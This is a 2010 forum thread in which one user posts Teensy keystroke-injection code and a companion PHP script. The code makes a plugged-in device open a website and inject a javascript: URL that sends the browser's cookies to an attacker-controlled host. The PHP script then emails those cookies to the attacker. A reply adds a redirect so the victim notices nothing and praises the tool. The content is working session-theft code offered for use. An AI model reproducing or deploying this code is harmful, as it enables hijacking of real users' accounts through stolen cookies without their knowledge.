vulg4h Posted May 2, 2010 Posted May 2, 2010 (edited) Note: In the code make "java script" one word. ducky: void setup() { delay(3500); // initial delay Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.send_now(); Keyboard.set_key1(KEY_R); Keyboard.send_now(); delay(100); Keyboard.print("www.msn.com"); // site of cookie theft enter(); delay(6000); Keyboard.set_modifier(MODIFIERKEY_CTRL); // CTRL-L Keyboard.set_key1(KEY_L); sendClearKeys(); delay(100); Keyboard.print("java script:document.location='http://site.com/savedatcookie.php?c='+escape(document.cookie)"); enter(); delay(2000); } void loop() { /* na-da */ } void sendClearKeys() { Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); } void enter() { Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } savedatcookie.php <?php mail("you@email.com", "Cookie Stealer - ".$_SERVER['HTTP_REFERER'], $_GET['c']); ?> Edited May 2, 2010 by vulg4h Quote
Will Shackleton Posted May 3, 2010 Posted May 3, 2010 Another variation of this code would be to just make the program press CTRL+L, and type the address. Then, on the PHP script, redirect back to the original site with: header("Location: " . $_SERVER['HTTP_REFERER']); Use this on an existing webpage, to return back to it afterwards as if nothing had happened. (Only tested with firefox) BTW, awesome piece of code! Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.